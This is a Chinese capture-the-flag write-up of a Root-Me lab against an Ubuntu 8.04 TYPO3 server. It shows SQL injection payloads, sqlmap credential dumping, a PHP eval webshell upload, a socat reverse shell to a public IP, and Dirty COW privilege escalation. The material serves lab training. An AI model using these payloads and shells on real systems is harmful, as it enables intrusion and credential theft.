当前位置: 首页 > news >正文

[rootme:ctf all the day]Ubuntu 8.04week wp

知识点

  • sqlmap常用参数介绍
    • python sqlmap.py -u url   :对第一个参数进行验证
    • python sqlmap.py -r 文件路径 -p 指定测试注入点
    • python sqlmap.py -u url -p -dump--all  :完全脱库
    • 参考文章:SQLMap 使用参数详解_sqlmap参数-CSDN博客 
  • 反弹交互式shell
    • 参考文章:实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty-腾讯云开发者社区-腾讯云
  • 提权
    • 提权参考文章
      • Linux常用六种提权方式-CSDN博客
      • 提权总结以及各种利用姿势 - linuxsec - 博客园
    • suid提权(拥有suid权限的文件执行时使用文件所有者的权限而不是当前用户的权限)
      • 常用find,less,more等
        • find / -perm -4000 -type f 2>/dev/null
          • 查找拥有suid权限的文件
        • find "存在文件" -exec "whoami" \;
      • 参考文章:Linux提权之SUID提权 - 小阿辉谈安全 - 博客园
    • 内核提权
      • uname -a 

        • 查看内核版本信息

      • lsb_release -a 

        • 查看发行版本信息

      • searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

        • 查找指定版本内核提权漏洞信息

        • 参考文章:searchsploit漏洞查找工具使用指南(exploit-db.com 离线工具 exploitdb)_searchsploit安装-CSDN博客

      •  参考文章:Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)-CSDN博客

    • 脏牛提权

      • 参考文章:脏牛提权复现以及如何得到一个完全交互的shell-先知社区

      •  参考文章:
        漏洞复现- - -CVE-2016-5195 Dirty Cow脏牛提权漏洞-腾讯云开发者社区-腾讯云

      • 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取  其他只读内存映射的写权限,进一步获取 root 权限
      • 漏洞影响系统
        • Centos7/RHEL7     3.10.0-327.36.3.el7
          Cetnos6/RHEL6     2.6.32-642.6.2.el6
          Ubuntu 16.10      4.8.0-26.28
          Ubuntu 16.04      4.4.0-45.66
          Ubuntu 14.04      3.13.0-100.147
          Debian 8          3.16.36-1+deb8u2
          Debian 7          3.2.82-1
        • 漏洞影响版本:kernal > 2.6.22

      • 修复方法

        • 升级系统和内核到安全版本

          • 1. Ubuntu 12.04 LTS (3.2.0-113.155)2. Ubuntu 14.04 LTS (3.13.0-100.147)3. Ubuntu 16.04 LTS (4.4.0-45.66)4. Ubuntu 16.10 (4.8.0-26.28)5. Debian wheezy (3.2.82-1)6. Debian jessie (3.16.36-1+deb8u2)7. Debian sid (4.7.8-1)

        • 官网下载补丁安装

        • 参考文章:无需重启,修复横扫Linux系统的脏牛本地提权漏洞 (CVE-2016-5195)

环境配置

  • 在rootme官网注册并登录账号:https://www.root-me.org/
  • 进入页面,选择左边第一个 夺旗--》ctf all the day :https://www.root-me.org/fr/Capture-The-Flag/CTF-all-the-day/
  • 进入页面可一个看到该游戏的基本规则介绍
    • 下面有若干房间,选一个空房间进入
    • 选择一个你要渗透的系统并投票标记
    • 选好后点击开始游戏等待虚拟环境搭建完成;成功后返回一个可访问的url
    • 800分钟时长,该房间有人提交验证信息或者时长结束就销毁系统
    • 中途可以有其他玩家进入该房间加入游戏,若有房间开始了你想渗透的系统,你可以直接加入游戏而不用开一个新房间
  • 我要选Ubuntu 8.04week系统的,刚好有一个房间开了
    • 进入房间1,点击加入游戏
    • 提示了flag在/passwd中
    • 环境配置完成,访问给定的网址:ctf01.root-me.org

渗透思路

访问url得到了一个index界面,通过F12查看源码以及wappalyzer插件发现了该网站使用了TYPO3 4.2版本CMS,php 5.2.4 ,操作系统:ubuntu ,中间件:apacha 2.2.8

搜索了一下TYPO3 4.2版本的历史漏洞发现不能利用,需要进入后台才行

通过点击页面上的两个连接,发现Members链接类似出现了id和uid,而且有成员的返回信息到页面前端,猜测这里存在sql注入

首先通过order by成功得到了字段数为4;通过测试发现这里存在联合注入,那么构造payload:

http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+读取当前数据库名:typo3
版本信息:5.0.5
数据库路径: /var/lib/mysql/

已知数据库为mysql 5.0以上,接下来就可以读取数据库信息,我这里使用了sqlmap工具来帮我

使用参考文章:SQLMap 使用参数详解_sqlmap参数-CSDN博客

默认-u 参数只会识别并判定第一个参数为注入点,这里需要使用-r参数

先在桌面上创建一个666.txt文件,将页面请求数据复制粘贴到里面

GET /index.php?id=4&uid=1 HTTP/1.1
Host: ctf01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+
Cookie: _ga_SRYSKX09J7=GS1.1.1709561861.4.1.1709566695.0.0.0; _ga=GA1.1.339742383.1709475530; fe_typo_user=33929c6bbf793667235b3e6385baed25
Upgrade-Insecure-Requests: 1
Priority: u=0, i
使用命令:检测uid参数是否存在注入漏洞(存在)
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid

由于之前已经知道了当前数据库名为typo3;所以直接读取该数据库下的所有表名

构造payload;
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" --tables成功获取到了该数据库下的所有表;其中有两个users表,be_users和fe_users

接下来读取be_users的字段信息

构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" --columns发现了有username和password字段

读取数据信息

构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" -C "username","password" --dump成功得到了用户名和密码admin     3f76fae8f05fe76f5d74bdff0463ad7c (bhunji)  member1   c7764cfed23c5ca3bb393308a0da2306 (member1) member2   88ed421f060aadcacbd63f28d889797f (member2)后面测试发现这是后端登录使用的账户密码

其实可以直接脱库到本地,但是时间耗费太长,没必要

通过select @@secure_file_priv查看设置发现无回显,不知道是没设置还是不让访问

直接尝试getshell试一下

python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid --os-shell中途验证一律yes
发现没有写权限,无法getshell

那这就没办法了,前面得到了一些用户名和密码,接下来尝试找一下登录页面吧

使用dirsearch工具扫描一下目录

python dirsearch.py -u http://ctf01.root-me.org
[16:52:13] 200 -   46B  - /clear
[16:52:19] 200 -  927B  - /content/
[16:52:19] 301 -  364B  - /content  ->  http://ctf01.root-me.org/content/
[16:52:22] 200 -  390KB - /ChangeLog
[16:52:28] 403 -  333B  - /doc/api/
[16:52:28] 403 -  343B  - /doc/stable.version
[16:52:28] 403 -  344B  - /doc/html/index.html
[16:52:28] 403 -  344B  - /doc/en/changes.html
[16:52:28] 403 -  329B  - /doc/
[16:52:38] 200 -  147B  - /fileadmin/_temp_/
[16:52:38] 200 -    1KB - /fileadmin/
[16:52:38] 200 -  959B  - /fileadmin/user_upload/
[16:52:38] 301 -  366B  - /fileadmin  ->  http://ctf01.root-me.org/fileadmin/
[16:52:51] 302 -    0B  - /index.php/login/  ->  http://ctf01.root-me.org/index.php?id=1&type=0
[16:52:53] 200 -   20KB - /INSTALL
[16:52:54] 200 -   20KB - /INSTALL.txt
[16:53:00] 200 -  843B  - /LICENSE.txt
[16:53:00] 200 -  843B  - /LICENSE
[16:53:12] 301 -  361B  - /misc  ->  http://ctf01.root-me.org/misc/
[16:53:41] 200 -    8KB - /README
[16:53:42] 200 -    8KB - /README.txt
[16:53:42] 200 -  241B  - /RELEASE_NOTES.txt
[16:53:54] 403 -  338B  - /server-status
[16:53:54] 403 -  339B  - /server-status/
[16:54:12] 200 -  298B  - /typo3/
[16:54:13] 301 -  362B  - /typo3  ->  http://ctf01.root-me.org/typo3/
[16:54:13] 200 -    5KB - /typo3temp/
[16:54:15] 200 -  149B  - /uploads/
[16:54:15] 301 -  364B  - /uploads  ->  http://ctf01.root-me.org/uploads/

通过测试发现/typo3/目录是一个后台登录界面

通过之前的账户密码成功登录 admin :bhunji

进入界面通过点击发现了有一个文件列表的位置可以进行文件上传

尝试上传php文件发现这里对php文件后缀进行了黑名单过滤,直接用bp对后缀名进行爆破发现.pht文件后缀可以成功上传并解析(爆破过程不再截图),直接上传991.pht

内容如下:991.pht
<?php @eval($_POST['cmd']);phpinfo();?>

通过哥斯拉进行连接(哥斯拉功能更多)

右击进入,选择命令执行窗口

whoami
当前用户为www-data
/passwd文件为root用户才能访问
www-data 用户没有权限访问

接下来就是需要进行提权了
上传linux-exploit-suggester.sh
该脚本可以检测当前系统存在哪些漏洞并提供poc利用源执行该脚本提示bash版本不支持
bash -v 发现目标系统使用3.8的,但是该脚本执行使用bash>4.0
那就没办法了,只能慢慢推了
先看一下suid文件有哪些
find / -perm -4000 -type f 2>/dev/null结果:
/lib/dhcp3-client/call-dhclient-script
/var/www/weak_suid/weak
/var/run/system-tools-backends.pid
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/apache2/suexec
/usr/lib/policykit/polkit-grant-helper-pam
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/bin/sudoedit
/usr/bin/lppasswd
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/pulseaudio
/usr/bin/sudo
/usr/bin/arping
/usr/bin/traceroute6.iputils
/usr/bin/X
/usr/bin/passwd
/usr/bin/at
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn

没有常用的suid提权参数

尝试进行内核提权吧,这里使用了SearchSploit工具

参考文章:Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)-CSDN博客

uname -a 
获取内核版本信息:
Linux victime-laptop 2.6.24-26-generic #1 SMP Tue Dec 1 18:37:31 UTC 2009 i686 GNU/Linuxlsb_release -a
获取发行版本信息
Distributor ID:	Ubuntu
Description:	Ubuntu 8.04.4 LTS
Release:	8.04
Codename:	hardy
kali自带searchsploit工具
如果没有,他会提示你安装,按提示安装就行了searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6查询linux下内核版本为2.6的可用提权poc
根据返回结果描述选择合适的exp系统内核版本为2.6.24;这里我选的是(通过测试这个是可以提权成功的,其他很多都不太行)
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                        | linux/local/40839.c

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6执行结果如下:
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation                                       | linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation                                                                                                  | linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (1)                                                                                          | linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (2)                                                                                          | linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)                                                                                | linux/local/9844.py
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation                                                                                             | linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation                                                                                   | linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)                                                                     | linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                              | linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)                                                                                 | linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)                                                                                                      | linux/local/895.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)                                                                                         | linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2)                                                                                       | linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                     | linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation                                                                                                | linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)                                                                                                   | linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)                                                                             | linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)                                                                                | linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                                      | linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                                                                                     | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                                                                                      | linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation                                                                                           | linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)                                                                                             | linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2)                                                                                             | linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)                                                                                             | linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4)                                                                                             | linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                                                                                                                | linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)                                                                                                | linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                                                                                                                 | linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation                                                                                                              | linux/local/10613.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                                                         | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                                        | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                           | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                        | linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                                                                                                  | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation                       | linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation                                                                                        | linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation                                                                                                    | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation                                                                                               | linux/local/8678.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                                                                                            | linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                                                                                           | linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                                                                                             | linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                                     | linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                                                                                                       | linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                                                                  | linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                                      | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                                                      | linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation                                                               | linux/local/1397.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation                                                                                        | linux/local/8673.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                                                                                              | linux/local/33322.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)                                                                             | linux/local/25202.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation                                                                                                       | linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                                                                                          | linux/local/30604.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                                    | linux_x86-64/local/45516.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation                                                                                                            | linux/local/4756.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                                                                                           | linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)                                                                                            | linux/local/9574.txt
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation                                                                                                 | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                                                                                                      | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                                                                                                        | linux/local/8369.sh
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)                                                                                 | linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)                                                                             | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                                                                                  | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                                                                                    | linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                                                                                      | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                                                                               | linux/local/15774.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation                                                     | linux/local/718.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation                                                                            | linux/local/12130.py
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation                                                                                           | linux/local/23674.txt
root@VM-24-6-ubuntu:~# 
locate linux/local/40839.c输出文件的绝对路径
有了绝对路径,下载该poc到本地,然后通过哥斯拉上传到目标服务器上

成功上传后,双击该文件进行修改,在文件最后加上一个空行,即输入回车就行了,要不然文件编译时会报错,修改后点击保存

通过查看该poc的提示信息

// 使用下面命令对文件进行编译
//   gcc -pthread dirty.c -o dirty -lcrypt//编译成功后执行时后面加上设置的新密码
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"//执行完成后会生成一个firefart的root用户,/etc/passwd原文件信息备份到了/tmp/passwd.bak中
//现在是生成了一个firefart用户为root权限用户的/etc/passwd文件进行替换了
//
//进行su firefart切换到该用户后// Afterwards, you can either "su firefart" or "ssh firefart@..."
//需要进行还原root用户,即将原/etc/passwd信息替换回来
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//如果不进行还原,服务器可能会崩坏
该漏洞利用流程:
1.编译
gcc -pthread 40839.c -o dirty -lcrypt2.执行(默认生成firefart用户为root权限)
./dirty 1233.切换到root权限用户(su命令需要实时交互的终端才能执行:(检测方法)tty命令执行有回显)
su firefart4.还原root用户
mv /tmp/passwd.bak /etc/passwd
执行tty发现哥斯拉连接生成的命令执行终端只是普通的命令执行串口,并非shell

接下来还需要反弹一个有交互性的shell

参考文章:https://cloud.tencent.com/developer/article/2130066


常用的几种产生交互式shell的方式:
python pty 方式、升级nc、socat、script获取pty
通过测试发现该系统能使用的只有socat了,但是需要上传一个socat工具

socat获取地址:https://github.com/3ndG4me/socat

通过哥斯拉上传到/tmp文件夹下

安装和执行
unzip socat-master.zipcd socat-master
./configure
make
//编译成功后会生成一个socat执行文件反弹一个交互式终端:需要一台公网服务器,开放指定端口
执行反弹shell:服务器开启监听8989端口:nc -lvp 8989目标机执行:./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:106.53.46.131:8989

通过上述操作成功反弹了一个交互式终端

好了,一些准备操作都完成了,接下来开始利用漏洞进行提权了

编译漏洞文件:gcc -pthread 40839.c -o dirty -lcrypt 

2. 执行漏洞exp  :./dirty 123

3.切换到firefart用户:su firefart

4.还原root用户 :mv /tmp/passwd.bak /etc/passwd

通过执行exp成功切换到了firefart用户,并且读取了/passwd文件的内容:8127b73c79c7f48de9f137d403517db0

注:该服务器最后执行脏牛提权时服务器容易崩溃,可能会卡住需要重新开启游戏,执行./dirty后等一会儿尝试切换用户,然后直接读取/passwd文件内容,执行dirty脚本和su命令尽量分开,哥斯拉命令端执行提权脚本,反弹的shell端执行su命令,这样不会造成界面卡住,这个提权尝试了N多次才成功,切换用户成功后一定要快速读取/passwd文件内容,要不然过一会儿可能又给卡挂掉了,服务器太容易崩溃了

10

http://www.lryc.cn/news/576566.html

相关文章:

  • python 项目利用uv管理python包依赖
  • phpstudy 可以按照mysql 数据库
  • cf 禁止http/1.0和http/1.1的访问 是否会更安全?
  • 《自动控制原理 》- 第 1 章 自动控制的基本原理与方式
  • Confluence-测试用例执行规范
  • srs-gb28181 与 SRS 5.0 对 GB28181 国标支持
  • Learning to Prompt for Continual Learning
  • python基础21(2025.6.28)_全栈爬取_车168以及诗词名句案例
  • AUTOSAR图解==>AUTOSAR_AP_EXP_SOVD
  • Linux快速查找文件
  • JVM 之双亲委派机制与打破双亲委派
  • 【安卓Sensor框架-2】应用注册Sensor 流程
  • Everything
  • 深入解析 Electron 核心模块:构建跨平台桌面应用的关键
  • day45 Tensor board使用介绍
  • 【Bluedroid】蓝牙启动之BTM_reset_complete源码解析
  • 虚拟 DOM 与 Diff 算法
  • c++学习(五、函数高级)
  • 【AI智能体】Dify 核心组件从使用到实战操作详解
  • 设计模式-代理模式、装饰者模式
  • 【Java--SQL】${}与#{}区别和危害
  • git使用详解和示例
  • ByteMD+CozeAPI+Coze平台Agent+Next搭建AI辅助博客撰写平台(逻辑清楚,推荐!)
  • epitope3D: 精准预测蛋白表面的“抗原决定簇”
  • ABP VNext + 多数据库混合:SQL Server+PostgreSQL+MySQL
  • 【分布式机架感知】分布式机架感知能力的主流存储系统与数据库软件
  • 安卓应用启动页全版本兼容实战:从传统方案到Android 12+ SplashScreen API最佳实践
  • FPGA产品
  • 关于ubuntu 20.04系统安装分区和重复登录无法加载桌面的问题解决
  • KS值:风控模型的“风险照妖镜”